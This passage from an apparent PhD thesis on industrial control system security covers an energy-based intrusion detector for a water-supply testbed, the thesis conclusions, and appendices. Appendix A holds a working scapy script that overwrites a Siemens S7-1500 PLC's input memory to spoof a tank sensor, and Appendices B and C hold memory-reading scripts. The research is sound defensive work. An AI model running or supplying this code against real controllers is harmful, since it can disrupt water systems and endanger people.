implemented for this research. The monitored sensors/actuators are: ultrasonic 

sensor (B101), Pump (101), Flowmeter_in (B102), Pressure_in (104), Pressure_out 

(105) and Flow_out (B103). Each of the sensors/actuators is hard-wired to the INA 

219 sensor  and Input/output memory of the Siemens S7-1500 PLC (Siemens, 2018).  
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Figure 7.1 CWSS testbed diagram 

Figure 7.2 Energy-based dataset 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The INA 219 sensor provides four energy features: voltage in the shunt 

resistor, voltage in the INA 219 board, current, and power. Thus, the dataset used in 

the pre-processing phase of the machine learning process contains 24 features in 

total. Figure 7.2 shows the original dataset obtained from the testbed and the 

balanced dataset after applying SMOTE oversampling technique (Chawla, N.V., 

Bowyer, K.W., Hall, L.O., 2002). SMOTE has been successfully applied and widely 

used in similar researches. 
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7.3.2 Machine learning algorithms 

The description of the employed ML algorithms is beyond the scope of this 

chapter, as it was widely discussed in the literature review chapter as well as the  

previous chapter. The following are the supervised ML algorithms chosen for 

training and testing which were also employed in the similar research discussed in 

the Literature Review chapter. 

• K-Nearest Neighbour (KNN). 
• Support Vector Machine (SVM). 
• Decision tree (DT). 
• Multilayer Perceptron (MLP). 
• Naïve Bayer (NB). 
 

7.3.3 Machine learning evaluation metrics 

Choosing the right metrics for evaluating a machine learning algorithm 

influences how its performance is measured and compared with other approaches 

(Technology & Technology, 2015). The metrics are usually derived from the 

confusion matrix, which is a summary of prediction results on a classification 

problem. Table 7.1 shows a confusion matrix, True Negative (TN) represents the 

number of benign samples correctly classified as benign, True Positive (TP) 

represents the number of malicious samples correctly classified as malicious, False 

Negative (FN) represents the number of malicious samples incorrectly classified as 

benign and finally, False Positive (FP) represents the number of benign samples 

incorrectly classified as malicious (Ting, 2017).  

Table 7.1 Confusion matrix 

 

 

 

Given that our research focuses on critical infrastructure such as a clean water 

supply system, we emphasise in maximizing the detection rate and minimising the 

number of false alarms generated by the EBIDS. The metrics used to evaluate the 

Class Classified as Benign Classified as Malicious 

Benign True Negative (TN) False Positive (FP) 

Malicious False Negative (FN) True Positive (TP) 
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results obtained from this research are explained as follows. Accuracy, shown in 

equation (1), is the ratio of correct predictions over the total number of predictions.  

 

𝐴𝑐𝑐𝑢𝑟𝑎𝑐𝑦 =
𝑇𝑃 + 𝑇𝑁

𝑇𝑁 + 𝐹𝑁 + 𝐹𝑃 + 𝑇𝑃
 

 

False Negative Rate (FNR) represented in equation (2) indicates the ratio of 

malicious traffic classified as benign.  

 

𝐹𝑁𝑅 =  
𝐹𝑁

𝑇𝑃 + 𝐹𝑁
 

 

False Positive Rate (FPR), shown in equation (3) indicates the ratio of benign 

samples classified as malicious. 

 

𝐹𝑃𝑅 =  
𝐹𝑃

𝑇𝑁 + 𝐹𝑃
 

7.4 EBISD operation   

The EBIDS has two components which are shown in Figure 7.3. An EBDIS 

classifier, which is built offline using scikit-learn  which is a free machine learning 

library for python (Hackeling, 2014) and a real-time detection. These two 

components are explained as follows. 

Offline. The EBIDS classifier is trained offline with a dataset collected from the 

testbed. The dataset contains newly engineered energy-based traces of malicious 

and benign traffic obtained from the sensors/actuators that are part of our physical 

testbed. The pre-processing step in machine learning improves the quality of the 

raw data collected from the testbed converting it into a clean set of information. The 

steps involved in data pre-processing are as follows:  

(1) 

(2) 

(3) 
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a) removing the noise from the energy-based dataset by applying a low pass 

digital filter (Hansen et al., 2002) given that the collected dataset includes external 

factors such as noise.  

b) Using feature selection techniques such as Chi-Square and Information Gain to 

remove features that do not contribute to the energy-based ML model. 

c) Using oversampling techniques such as SMOTE to adjust the class distribution 

of the dataset.  

d) Testing the effectiveness of the machine learning models by splitting the 

dataset into k consecutive folds for cross-validation.  

e) Scaling the dataset by applying Standardization/Normalization techniques.  

 

 

 

Figure 7.3 Online detection energy-based IDS 
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The training dataset is composed of 80% of the entire data employed to train 

our ML models. The remaining 20% of the data is used to evaluate the performance 

of the trained ML models. Finally, we use the joblib library (Malakhov, 2016) 

available on Python to build the ML model and save it as a file for online evaluation.  

 

Online. In the online phase of the process, the EBIDS uses the classifier built 

in the offline phase to detect the set of attacks executed to the Input/Output memory 

of the Siemens PLC. We use the same joblib library described in the previous section 

to recover each machine learning model created during the offline testing. The ML 

model is deployed online in a Raspberry PI that collects, filters and selects the newly 

engineered energy-based features chosen during the feature selection process. The 

EBIDS raises an alarm to the operator when an anomaly is present in the control 

process.  

7.5 EIBDS evaluation 

This section demonstrates the evaluation results for the proposed EIBDS. 

Before we analyse the results, it is worth mentioning that for the EIBDS off line 

operation and during the pre-processing step, we applied a cutting edge and 

complex low pass filter. However, the same filter could not be applied during the 

EIBDS online operation because the filter calculates its parameters based on the 

entire dataset.  Therefore, we opted for implementing our own digital filter during 

online and offline evaluation. This filter is based in a second order low pass filter 

and it is implemented in python as part of the pre-processing phase.  

Figure 7. shows the results in terms of accuracy for online and offline 

4evaluation. KNN achieved the highest accuracy during the offline evaluation 

followed closely by MLP. DT and SVM achieved above 98% of accuracy, whereas, NB 

shows the worst performance by achieving 95.5%. KNN and SVM showed a similar 

performance during the online and offline evaluation. The difference in accuracy 

among DT, NB and MLP during the online and offline training is more significant. 
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Figure 7.4 Accuracy of ML models 

Figure 7.5 False positive rate evaluation 

 

 

 

 

 

 

 

 

Figure 7.5 shows the false positive rate (FPR) achieved by the classifiers. This 

metric indicates the number of benign events classified as malicious. Addressing our 

captured results, KNN presents the best performance in both offline and online 

scenarios achieving 0.1% and 0.11%, both respectively. NB achieves 2.5% for FPR 

during the offline scenario but increases to 6.8% in the online scenario.  

 

 

 

 

 

 

 

 

The false-negative rate (FNR) represents the number of malicious events 

classified as benign. In critical infrastructures, FNR alerts are more dangerous than 

FPR, because it indicates that the security system fails to detect the attacks to the 

control application putting many lives in danger. Figure 7.6. Shows the results of the 

FPR metric. KNN shows the best performance for both scenarios achieving the 
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Figure 7.6 False negative rate evaluation 

lowest scores among the other classifiers. DT and MLP present considerable 

different values between offline and online scenarios. SVM shows a small difference 

between its two scenarios but its achieved score is twice the score achieved by KNN.  

 

 

 

 

 

 

 

 

7.6 Discussion 

In this section, the scientific hypothesises described at the beginning of this 

chapter are discussed. 

Research Question 1. How does the performance (accuracy, false negative and false 

positive) of the ML models obtained from the offline training differ from its 

performance obtained during the online training in a model of a clean water supply 

system? 

Our experimental results obtained from the metrics mentioned above show a 

significant difference for algorithms such as DT, NB and MLP during offline and 

online training. For instance, the DT algorithm scored an accuracy of 98.8% during 

offline training and 92.2% during online assessment. In contrast, the difference is 

not greater for the KNN and SVM algorithms, which reach an accuracy of 99.9% and 

98.3% during offline training, while 99.3% and 97.9% during online training. This 

is because, the KNN algorithm does not require training time and it can be tuned 

with only one hyper parameter, which is the value of K. Furthermore, SVM assumes 

the existence of a hyper-plane that separate the data points although it is 
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computational expensive. On the other hand, DT, NB and MLP are affected by the 

change in the distribution of the dataset, which remains constant during the training 

phase, but varies during the online evaluation.  

 

Research Question 2. Is it possible to create an anomaly detection mechanism at 

the lowest level of a control system by only taking into account the relevant energy-

based features? 

Our EBIDS proposed in this chapter employs energy-based features along with 

machine learning algorithms to detect anomalous activities during the control 

system operation. The EBIDS is an air gapped security system located at level 1 of 

the ICS architecture. It monitors the energy of sensors/actuators through the 

INA219 current sensor, which is hard-wired between the PLC and sensors such as: 

ultrasonic level sensor, flowmeter, and pressure sensor. The results obtained from 

our experimentation phase shows the feasibility of using our proposed EBIDS as an 

anomaly detection mechanism.  

7.7 Conclusions 

This chapter proposes a real-time anomaly detection for a clean water supply 

system by utilising machine learning algorithms and a novel energy-based dataset. 

A model of a clean water supply system, which we implemented in the Festo Rig, 

was employed to analyse the performance of the proposed detection system 

focusing on cyber-attacks to the input memory of the PLC. The evaluation of the ML 

models showed a solid performance during the offline testing but only KNN and SVM 

showed the same consistency during the offline and online evaluation.  

The EBIDS proposed in this chapter shows a different approach for cyber-

attack detection in comparison with traditional network IDS given the following 

reasons. EBIDS features are collected directly from the actuators/sensors that 

compose the control system instead of extracting the values from the ICS network 

traffic as opposed to current network IDS. The main concern in using values 

collected from the ICS network traffic rather than directly from actuators/sensors 
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is trusting its integrity. It is because attackers can easily tamper network traffic 

which makes it even worst for ICS network traffic given its lack of encryption. 
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Chapter 8:  Conclusions  

 

8.1 Introduction 

This chapter provides a summary of the activities carried out during 

this research. It reflects the contributions to the field of Industrial Control 

Systems Cybersecurity and how the research aims stated in Chapter 1 were 

achieved. Additionally, further work is identified and discussed.  

Related work on ICS cybersecurity studies attack detection 

mechanisms for well-known cyber-attacks such as DoS, Spoofing and Man-

In-The-Middle. These attacks have been studied for years in the IT field and 

they could be easily detected and mitigated using commercial solutions 

available in the market such as (Cisco, 2020; Cloudflare, 2020; Imperva, 

2020). The cyber-attacks on the Programming Logic Controller (PLC) 

memory proposed and explained in this thesis contribute to academia 

through conference manuscripts. It includes a set of novel attacks that could 

compromise and damage the operation of the system that is under control. 

These attacks were discovered after a comprehensive study of the control 

network traffic generated by the PLC, HMI, and SCADA system. Further 

research on the impact of the attacks to the PLC memory was undertaken 

and, as a result, we implemented and executed a malware called 

WaterLeakage. This malware issues attacks on the PLC memory to gather 

and exfiltrate sensitive information like: IP Address, firmware version and 

model. This information is successfully exfiltrated using covert channels 

such as light.  

Moreover, it can be asserted that academia lacks access to physical 

testbeds due to the high cost involved in their implementation. Only a few 

testbeds are available to researchers, for instance (Ahmed et al., 2017; 

iTrust, 2018), however, accessing them is rather difficult. Besides, the 

normal and anomalous scenarios of these physical testbeds are not 

configurable. This results in limitations such as the implementation of new 
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methodologies and the exploration of new attacks for researchers in the 

field. Further, access to real implementations such as water treatment 

systems, power stations, nuclear plants and oil industries is not feasible due 

to its critical nature. To overcome this, researchers employ virtual and 

hybrid ICS implementations to develop attack detection mechanisms, 

however, it can be argued whether such mechanisms can be applied to the 

industry. The research presented in this thesis provides the results 

obtained from a physical model of a Clean Water Supply System. The 

testbed is evaluated using the novel set of attacks described above. In 

addition, the virtual and hybrid counterparts of the physical testbed is 

implemented to compare the strengths and weaknesses of each approach. 

The manuscript containing the results of the comparison of our three 

different testbeds is under review in ISA Transactions Journal.  

 ICS cyber-security approaches are often studied from the computer 

science perspective by proposing novel attack detection mechanisms. 

However, limited research is performed from the control engineering point 

of view, and those approaches are usually theoretical. This thesis 

demonstrates that virtual and hybrid implementations of an ICS cannot 

simulate the behaviour of its components such as sensors/actuators given 

the environmental factors such as noise and humidity. Hence, it can be 

argued whether a theoretical approach could be applied in real 

implementations. Moreover, related work focuses more attention on attack 

detection mechanisms and disregards the study of response to cyber-

attacks. This thesis proposes a novel PLC memory attack detection and 

response mechanism that is part of the PLC code. Also, this mechanism does 

not require additional equipment, module, or data from the network, unlike 

the related work. Further, our approach is implemented and evaluated in 

the physical testbed employed for this research along with the novel set of 

attacks to the PLC memory. We highlight the importance of studying cyber-

attack response mechanisms to ICS because their impact could be extremely 

harmful compared to the cyber-attacks outcome on traditional IT systems. 

For instance, companies might experience significant money losses if they 

are five minutes offline as a result of a cyber-attack. However, a five-minute 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 8: Conclusions 
 

  

Andres Santiago Robles Durazno  2021  Page 183 

cyber-attack on the chlorine dosing process of a water treatment system 

can affect human lives identifying the importance of focusing on response 

mechanisms in ICS.  

 The state-of-the-art in work related to cyber-attack detection 

mechanisms of Industrial Control Systems includes approaches that focus 

attention on information obtained from the control network, data loggers 

and SCADA systems. It can be asserted that external attackers or insider 

threats can easily modify such information, as a result, attack detection 

mechanisms might be fed with wrong information even during the training 

phase. Further, the operation of a control system is complex, therefore the 

development of an ICS attack detection mechanism requires a deep 

understanding of the implemented control techniques. This thesis proposes 

a cyber-attack detection mechanism based on newly engineered energy-

based features and well-known machine learning algorithms. The features 

are obtained from the sensors and actuators that compose the control 

system through the INA219 current sensor. The current sensor is hard-

wired between the sensors/actuators and the PLC. Therefore, the features 

cannot be modified over the network, unlike the related work. At the 

beginning of the research, we implemented a proof of concept for the 

energy-based approach to validate its feasibility where we employed the 

custom version of the Festo MPA Control rig to implement a model of a clean 

water supply system along with the PLC memory attacks. Two INA219 

current sensors were used during the implementation and execution of this 

proof of concept.  

Given the results obtained from the proof of concept implementation, 

the energy-based approach was extended by implementing a more realistic 

testbed that included more sensors such as flowmeters, and water demand 

models as opposed to its first implementation. A total of six INA219 current 

sensors were hard-wired to the testbed to collect a greater number of 

features. Performance of a given machine learning algorithm usually 

depends on the amount and the quality of input data. The manuscript that 
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contains the results obtained from this approach is under review in 

Computer and Security Journal. Finally, this thesis compares online, and 

offline performance of the machine learning models obtained from energy-

based datasets.  

8.2 Research objectives 

This section aims to analyse and reflect on the research objectives presented in 

Chapter 1.  

Research Objective 1: Identifying and understanding the research gaps in 

Industrial Control Systems through a comprehensive review and analysis of 

relevant publications. 

 

Chapter 2 of our thesis provides a detailed review of the state-of-the-art 

related work on Industrial Control Systems Cyber-Security. It identifies the gaps that 

were filled with our research. One of the major issues found in related work is the 

lack of physical testbeds for cyber-security research. Unfortunately, virtual or 

hybrid systems do not provide a suitable environment for ICS cyber-security 

research. These results were concluded from our publication, which is under review 

in the ISA transactions Journal, where we compare hybrid, virtual and physical 

testbed performance for ICS cybersecurity research. Moreover, the cyber-attacks 

used to evaluate detection mechanisms, such as Spoofing, DoS and Man-In-The- 

Middle, are outdated and they are not currently considered a major threat because 

they could be detected with current commercial solutions like (Cisco, 2020; 

Imperva, 2020). Research is lacking from the control engineering point of view given 

that most of the approaches are related to computer science and the majority of 

them do not pay much attention to the response strategies to ICS cyber-attacks. 

Besides, computer science approaches develop anomaly detection techniques from 

information obtained from the control network. It can be asserted that such 

information is not reliable because intruders can easily modify it.  
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Research Objective 2: Performing a PLC vulnerability analysis with the objective 

of discovering possible security breaches that could compromise its normal 

operation. 

 

 Chapter 3 of our thesis provides the results of a vulnerability assessment to 

the latest SIMATIC S7-1500 PLC. It can be seen that the PLC does not validate 

incoming connections to its port 102. As a result, any device connected to the control 

network can communicate with the PLC. Another finding of our research shows that 

the PLC uses fixed spaces of memory for its inputs, outputs and some spaces of 

working memory. The fixed spaces of memory along with the lack of validation in 

communication requests result in a vulnerability that allows attackers to overwrite 

the different memory spaces of the PLC mentioned above. Chapter 3 shows the 

impact of the attacks on the PLC memory when they are executed against a physical 

testbed that models a clean water supply system. The process under control can be 

disrupted and even physical equipment such as the pump or water tanks can be 

destroyed. For instance, the attacker could increase and/or decrease the speed of 

the pump until it stops working by overwriting the PLC’s output memory addressed 

to it.  Furthermore, the attacker could overwrite the PLC’s input memory addressed 

to the ultrasonic level sensor by pretending that the water tank is empty. As a result, 

the control system will increase the speed of the pump causing the water tank to 

overflow.  

 

The impact of the attacks on the PLC memory makes us reflect on the fragility 

of the equipment used by control systems. Cutting-edge devices such as SIMATIC S7-

1500 are used in critical processes on which the well-being of the population 

depends. Suppliers and manufacturers need to carry out a thorough evaluation of 

their products before they are placed on the market. In addition, they must provide 

updated mechanisms and patches that are more accessible and easier to apply. 

 

Research Objective 3: Physically implementing a model of clean water supply 

system in the Festo MPA workstation rig and the Siemens S7-1500 PLC in order to 

support this research. 
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The lack of testbeds for cyber-security research was the main motivation for 

implementing our very own physical testbed that simulates a clean water supply. 

We use the factory version of the Festo Rig to implement such a system. The first 

version of our testbed did not contemplate models of water consumption and the 

sufficient number of sensors to allow redundant control techniques to be 

implemented. However, the first version of our testbed was used to implement and 

develop our initial proof of concept. In our initial work, we demonstrated that 

energy consumption could be used to detect anomalies. This led us to modify the 

factory version of the Festo Rig. In the second version of our testbed, the models of 

water consumption in the proportional valve are implemented. In addition, pressure 

and water flow sensors are included. Chapter 4 of this thesis describes the 

implementation of the first and second versions of the Clean Water Supply System 

testbeds. In addition, the employed control techniques, and the involved sensors are 

described. The results of the experimentation carried out in the physical testbed 

allowed us to contribute to academia with new approaches for the detection and 

response to cyber-attacks. 

 

Research Objective 4: Developing and implementing an algorithm for anomaly 

detection and response in the PLC Siemens S7-1500 along with the code used for the 

process operation.  

 

In this thesis, we tackle the cyber-security of Industrial Control Systems from 

the perspective of Control Engineering and Computer Science. Therefore, we 

propose an ICS anomaly detection mechanism implemented in the PLC as part of its 

code. Unlike related work, our mechanism does not require external data, module, 

or equipment. Furthermore, our thesis proposes three different mechanisms of 

response to cyber-attacks that aim to minimize their impact. We take advantage of 

the different sensors available in our testbed to implement redundant control 

techniques such as PID, cascade, and feed-forward. It can be argued that the 

implementation of redundant sensors was considered during the design phase. For 

that reason, we encourage control engineering practitioners to consider 

implementing different strategies from the system design stage. 
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Research Objective 5: Developing an approach for anomaly detection in a model of 

a clean water supply system using machine learning classifiers and a novel dataset 

of newly engineered-based features.  

 

Most approaches studying attack detection mechanisms in Industrial Control 

Systems, from the perspective of computer science, utilise machine learning models 

that are built with datasets obtained from the control network. It can be argued that 

there are studies, such as adversarial learning, that demonstrate the ability of 

attackers to trick machine learning models though malicious input. For instance, the 

attacker could modify network packets when collecting the dataset. Therefore, our 

thesis proposes newly engineered energy-based features obtained from 

sensors/actuators for anomaly detection. The concept is based on energy 

monitoring of the sensors and actuators that compose the control system. We plan 

and implement a proof of concept of the approach proposed in the first version of 

the testbed that implements a clean water supply system. We employed popular 

machine learning algorithms, used in related work, along with the energy-based 

dataset collected from two components of the testbed to build a detection model. 

The results obtained from the experimentation process demonstrated the feasibility 

of detecting anomalies using newly engineered energy-based features. For instance, 

the pump’s power consumption is expected to follow a recognizable pattern in 

normal operation. However, this pattern is altered when the attacker disrupts the 

control system. Pumping water for longer than expected periods will increase the 

pump’s energy consumption, therefore, it could be labelled as abnormal behaviour.  

We extended the proof of concept explained above by implementing a more 

realistic testbed in a modified version of the Festo Rig. The new version implements 

a set of novel models of water consumption for each day of the week as well as a set 

of attacks to the PLC memory.  A total of six INA219 current sensors were hard-

wired between the PLC and the sensors/actuators that composed the testbed. It 

allowed us to monitor and collect the energy of such devices. The results obtained 

from the experimentation phase demonstrated that the energy of components such 

as pump, flowmeter and pressure changes when the intruder attacks the control 

system. For instance, steady flow and pressure are expected when the system 
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operates under normal conditions. Any attack performed by the intruder affects the 

amount of water expected in the reservoir tank, consequently, the energy 

consumption of the flowmeter and the pressure sensors will increase or decrease 

depending on the type of executed attack.  Five popular machine learning algorithms 

discussed in Chapter 2 were applied to the dataset collected during normal and 

under attack scenarios. The details of the results obtained during the 

experimentation phase were discussed in detail in Chapter 6 of this thesis.  

 

Research Objective 6: Comparing the performance obtained from machine 

learning models during offline and online operation.  

 

Chapter 7 of the thesis shows the comparison for the performance of the 

algorithms proposed above during their online and offline operation. Accuracy 

metrics obtained during online experimentation were lower than results obtained 

offline for all tested machine learning algorithms. We noted that the applied 

techniques, such as filtering, and standardization or normalization applied during 

offline training could not be applied during online training. For example, the 

algorithm used to filter noise from the signal obtained from the ultrasonic level 

sensor uses the entire dataset to calculate the optimal parameters to be used during 

the pre-processing phase in offline training. On the other hand, online training does 

not have relevant historical data to help obtain the appropriate parameters. For this 

reason, we built our own noise filtering process that was used during online and 

offline training. This filtering process is based on a second-order low-pass filter 

which is described in Chapter 7.  

 

Research Objective 7: Evaluating the performance of the physical testbed 

implemented for cyber-security research when compared to its virtual and hybrid 

counterpart.   

We decided to compare and evaluate the performance of our physical testbed 

with its hybrid and virtual implementation due to the popularity of virtual 

implementations found in related works. According to the results obtained during 
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the experimentation process, a physical testbed has characteristics that cannot be 

simulated in virtual environments. For example, we notice that the noise in the 

ultrasonic level sensor signal increases when there is a greater amount of humidity 

in the environment. Virtual implementations are a set of exact mathematical 

operations, therefore the scenarios provided by them are perfect. The signals of the 

virtual components do not present any type of alterations, therefore, the type of 

noise explained above is hardly found in virtual implementations. Thus, it can be 

asserted that detection mechanisms developed in virtual environments cannot be 

evaluated in real implementations because the high number of false positive and 

false negative alarms could compromise its performance. Chapter 4 of this thesis 

provides full details regarding the evaluation of physical, hybrid and virtual testbeds 

implemented for cyber-security research. In addition, the results obtained from the 

testbed comparison are under review in the ISA transactions Journal.   

8.3 Future work 

This section provides an overview of the topics covered in this thesis and the 

feasibility of employing the results obtained in this research for future researchers. 

The main objective of the study presented in this thesis is to contribute to academia 

with new mechanisms of detection and response to cyber-attacks in Industrial 

Control Systems.  

Cyber-attacks to Industrial Control Systems 

One of the conclusions obtained from the research presented in this thesis 

shows that it is necessary to carry out a comprehensive cybersecurity assessment 

of the equipment that is a fundamental part of the operation of the Industrial Control 

System, for instance the PLC. Academia should focus on finding new vulnerabilities 

to validate its proposed anomaly detection mechanism and skip attacks such as DoS 

and Spoofing that have been thoroughly studied and currently have specialized 

hardware for detection and mitigation. The set of PLC memory attacks proposed in 

our research proved to have the ability to interrupt the normal operation of the 

implemented Clean Water Supply System. For instance, the attacker can modify the 

configured setpoint, overflow or empty the reservoir tank. Besides, the same set of 
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attacks to the PLC memory was used to implement the WaterLeakage malware, 

explained in Chapter 3, responsible for sending confidential information such as IP 

Address, PLC model, PLC firmware and Input/Output status, from the control 

system through a covered channel. This attack could be used as the initial phase, 

commonly called information gathering, of a planned attack. Future work could 

employ this attack to gather and build the operation of an ICS from the information 

obtained from sensors and actuators obtained from the Input and Output memory. 

Therefore, we encourage researchers to analyse the set of PLC memory attacks 

employed in this thesis and to explore different avenues that could lead to modifying 

the program running on the PLC. 

Detection and response to cyber-attack from the perspective of control 

engineering. 

The effect of cyber-attacks on Industrial Control Systems can be minimized 

with the implementation of attack detection techniques in devices such as the PLC, 

as shown in Chapter 5 of this thesis. The features and functionality of PLC’s are 

becoming more extensive, allowing the implementation of complex functions that 

help solve problems related to cyber-security. As shown in our research, SIMATIC 

S7-1500 PLC allows the use of optimised data-blocks and to collect the input values 

directly from the analogue channel. Current research on cyber-security in Control 

Systems lacks contributions from the perspective of Control Engineering. Therefore, 

we encourage researchers and control engineering practitioners to explore 

alternative solutions to cyber-security problems in ICS without the need to involve 

additional hardware. This is because it reduces the number of devices involved in 

the system, as a result, the attack surface is reduced. In addition, it is advisable to 

take cyber-attack prevention measures from the conception and design of the 

control system as shown in this thesis. Implementing redundant controllers such as 

PID, Cascade, and Feed-Forward can be a proven option for responding to cyber-

attacks.  
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Energy-based features. 

Monitoring energy consumption in the components of the Industrial Control 

System could be a new alternative to detect anomalies, in addition to the traditional 

methods proposed in related works. It is recommended to analyse the application 

of our energy-based approach proposed in this thesis in future research involving 

remote terminal units, wireless sensors, or distributed systems. Future research 

would investigate the possibility of monitoring the energy of other equipment that 

compose the Industrial Control System, such as the PLC rails, HMI, or SCADA 

systems because it could alert anomalies in related systems before the process 

under control is compromised. Future work should identify and classify energy 

patterns that may be caused by hardware failure, although a sensor is unlikely to fail 

as Industrial Control Systems have scheduled preventive maintenance. Moreover, in 

this thesis the machine learning algorithms focus on individual data samples, 

therefore, future research could investigate our proposed method but applied to 

temporal features of a sequence of consecutive samples. 
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Appendix A: Code for overwriting the analogue input memory of 
the PLC 

#!/usr/local/bin/python 
import sys 
from scapy.all import * 
from binascii import unhexlify 
sport= random.randint(1024,2000) 
#SYN 
ip=IP(src='192.168.0.2',dst='192.168.0.1',proto=6,flags=2) 
SYN=TCP(sport=sport,dport=102,flags='S') 
SYNACK=sr1(ip/SYN) 
#ACK 
ACK=TCP(sport=sport,dport=102,flags='A',seq=1,ack=SYNACK.seq+1) 
send(ip/ACK) 
#CONNECTION REQUEST 
header_1= TCP(sport=sport, dport=102, flags='PA', seq=1, ack=SYNACK.seq+1) 
protocol="\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\xc1
\x02\x01\x00\xc2\x02\x01\x01" 
rsp_1 = sr1(ip/header_1/protocol) 
#SETUP COMMUNICATION 
header_2 = TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
proto_2="\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x00\x00\x00\x08
\x00\x00\xf0\x00\x00\x01\x00\x01\x01\xe0" 
rsp_1 = sr1(ip/header_2/proto_2) 
#SENDING ACK 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
send(ip/s71PA) 
i=0 
while i<1000: 
    
#\x03\x00\x00\x25\x02\xf0\x80\x32\x01\x00\x00\x02\x00\x00\x0e\x00\x0
6 
    #\x05 WRITING A VALUE 
    #\x01\x12\x0a\x10\x02\x00\x02\x00\x00 
    #\x81 INPUT MEMORY (I) 
    #\x00\x00\x20  BYTE ADDRESS (IW4) 
    #\x00 
    #\x04 WORD 
    #\x00\x10 LENGTH 
    #\x07\x74 NEW VALUE TO WRITE 
    header=TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40)  
    ultrasonic 
="\x03\x00\x00\x25\x02\xf0\x80\x32\x01\x00\x00\x02\x00\x00\x0e\x00\x
06\x05\x01\x12\x0a\x10\x02\x00\x02\x00\x00\x81\x00\x00\x20\x00\x04\x
00\x10\x07\x74" 
    rsp_1 = sr1(ip/header/ultrasonic) 
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    s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
    send(ip/s71PA) 
    i+=1 
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Appendix B: Code for reading the analogue input memory of the 
PLC 

#!/usr/local/bin/python 
import sys 
from scapy.all import * 
from binascii import unhexlify 
sport= random.randint(1024,2000) 
#SYN 
ip=IP(src='192.168.0.2',dst='192.168.0.1',proto=6,flags=2) 
SYN=TCP(sport=sport,dport=102,flags='S') 
SYNACK=sr1(ip/SYN) 
#ACK 
ACK=TCP(sport=sport,dport=102,flags='A',seq=1,ack=SYNACK.seq+1) 
send(ip/ACK) 
#CONNECTION REQUEST 
header_1= TCP(sport=sport, dport=102, flags='PA', seq=1, ack=SYNACK.seq+1) 
protocol="\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\xc1
\x02\x01\x00\xc2\x02\x01\x01" 
rsp_1 = sr1(ip/header_1/protocol) 
#SETUP COMMUNICATION 
header_2 = TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
proto_2="\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x00\x00\x00\x08
\x00\x00\xf0\x00\x00\x01\x00\x01\x01\xe0" 
rsp_1 = sr1(ip/header_2/proto_2) 
#SENDING ACK 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
 
#\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00 
#\x04  Read Variable 
#\x01\x12\x0a\x10 
#\x02 Transport Size 
#\x00\x02 Length 
#\x00\x00 
#\x81 Analog Input Area 
#\x00\x00\x20 Byte Address (04)  
header=TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40)  
#------------------------------PAYLOAD FOR SPACE OF MEMORY IW4-----------------------
------------- 
#sensor = 
"\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00
\x04\x01\x12\x0a\x10\x02\x00\x02\x00\x00\x81\x00\x00\x20" 
#------------------------------PAYLOAD FOR SPACE OF MEMORY IW6-----------------------
------------- 
sensor = 
"\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00
\x04\x01\x12\x0a\x10\x02\x00\x02\x00\x00\x81\x00\x00\x30" 
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rsp_1 = sr1(ip/header/sensor) 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
send(ip/s71PA) 
#----------------------------------------PRINTING RESPONSE------------------------------------
----- 
len_request = len(sensor) 
if (sensor[len_request-4:len_request-3].encode("HEX"))=='81': 
    print ("Reading: Analog Input Memory") 
    #print ("Byte Address: " + str(int(ultrasonic[len_request-
1:len_request].encode("HEX"),16)/8)) 
    print ("Memory Addressed: IW" + str(int(sensor[len_request-
1:len_request].encode("HEX"),16)/8)) 
load_len = len(rsp_1.load.encode("HEX")) 
print ("Value (HEX): " + str(rsp_1.load.encode("HEX")[load_len-4:load_len]) + ", 
Value (INT): " + str(int(rsp_1.load.encode("HEX")[load_len-4:load_len],16))) 
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Appendix C: Code for reading the digital input memory of the 
PLC 

#!/usr/local/bin/python 
#READING THE DIGITAL INPUT/OUTPUT MEMORY OF THE PLC 
import sys 
from scapy.all import * 
from binascii import unhexlify 
sport= random.randint(1024,2000) 
#SYN 
ip=IP(src='192.168.0.2',dst='192.168.0.1',proto=6,flags=2) 
SYN=TCP(sport=sport,dport=102,flags='S') 
SYNACK=sr1(ip/SYN) 
#ACK 
ACK=TCP(sport=sport,dport=102,flags='A',seq=1,ack=SYNACK.seq+1) 
send(ip/ACK) 
#CONNECTION REQUEST 
header_1= TCP(sport=sport, dport=102, flags='PA', seq=1, ack=SYNACK.seq+1) 
protocol="\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\xc1
\x02\x01\x00\xc2\x02\x01\x01" 
rsp_1 = sr1(ip/header_1/protocol) 
#SETUP COMMUNICATION 
header_2 = TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
proto_2="\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x00\x00\x00\x08
\x00\x00\xf0\x00\x00\x01\x00\x01\x01\xe0" 
rsp_1 = sr1(ip/header_2/proto_2) 
#SENDING ACK 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
 
